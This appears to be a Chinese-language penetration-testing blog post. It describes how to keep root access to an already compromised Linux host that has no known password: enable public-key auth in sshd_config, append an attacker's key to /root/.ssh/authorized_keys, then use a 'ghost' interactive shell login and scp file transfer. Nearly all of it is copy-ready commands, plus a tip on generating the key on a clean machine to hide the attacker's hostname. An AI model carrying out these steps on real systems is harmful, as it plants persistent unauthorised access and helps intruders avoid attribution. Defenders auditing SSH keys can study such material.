无密码Linux主机利用公钥直接连接

0x00 前提

  • 以前的老东西,拿出水一篇
  • 一般是通过 Rce,提权等等情况,拿到目标 linux 的 root 权限
  • 主要是没有密码, hash 跑不出来,机器无法正常出网
  • 就可以去试着正向链接

0x01 首先目标主机,修改目标 Ssh 服务配置

启用ssh证书登录,并重启SSH 服务

1
2
3
echo RSAAuthentication yes >> /etc/ssh/sshd_config
echo PubkeyAuthentication yes >> /etc/ssh/sshd_config
systemctl restart sshd

0x02 本地linux上生成密钥

1
# ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa

注意:这一步最好去一个纯净的Linux生成,因为这个key会暴露你的主机名

image-20211012225853932

1
2
3
4
5
//找见id_rsa.pub自行拷贝出来
ls -al /root/.ssh/
cp /root/.ssh/id_rsa.pub /home/xxxx/Desktop/
//赋于权限
chmod 777 /home/xxxx/Desktop/id_rsa.pub

/root/.ssh/文件夹里面有俩文件:

1
2
id_rsa(私钥)
id_rsa.pub(公钥)

0x03 linux目标机写入公钥

  1. 自行上传公钥到内网linux,并将其保存到/root/.ssh/目录下,文件名改为authorized_keys,或者命令执行用echo追加

  2. 如目标已事先存在authorized_keys文件,直接往最后追加即可

    1. 注意:再操作之前要对原authorized_keys进行“备份”,以备不时之需。
1
# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8Zrks74SYQ4JzKFvYPyL2tG+Scx/y/gIDk5znJF6XKjJ2MFS7RfsjKqpRk7bb+bDpgb5awiMzMOUgwBDheJKerji9/FD+jHEI133ejCZphiPL0+OItLdl7uUt+NFMMPNeXh9lmDOwApxVg54xhDjyzWYaV6xQgvWuZK+6qNBD1TW2/zXImeHpC+L37KQSgFvtxyOiYw/Uq/Caoa9VkcFsUsJ1ftmKSh7unkEJiJAHpzmI0SquNdrgTJ5AiVclQbTa8viyl+irXYjUyvxWKCqBhMhuQQFEMRdViVStgSRoVREEH361J7T7oCC0rJE2XV8MlejXZGi7if34gYHYgyBKvEQ9/Ff+fkQV5LXdZLkC0h3wOBLV9lWwMamlFSjJMTSBlZP1syHYV/X1YNO76SmLUUi48PwDQa52g0tI2TusDmjgARWxwhCndu463dwbCcGjfHnSEAWEB2WGJcKOcpfGLUrdDt9My/d26dfMTNdlaw+kdnDVlYvk0qnyBBZhyfE= [email protected] >> /root/.ssh/authorized_keys

0x04 幽灵登录

1
ssh -T [email protected] /usr/bin/bash -i

image-20211013142036434

0x05 利用Scp 无密码互传文件

1
scp -P 22 -r /root/fsacn [email protected]:/usr/tmp/fsacn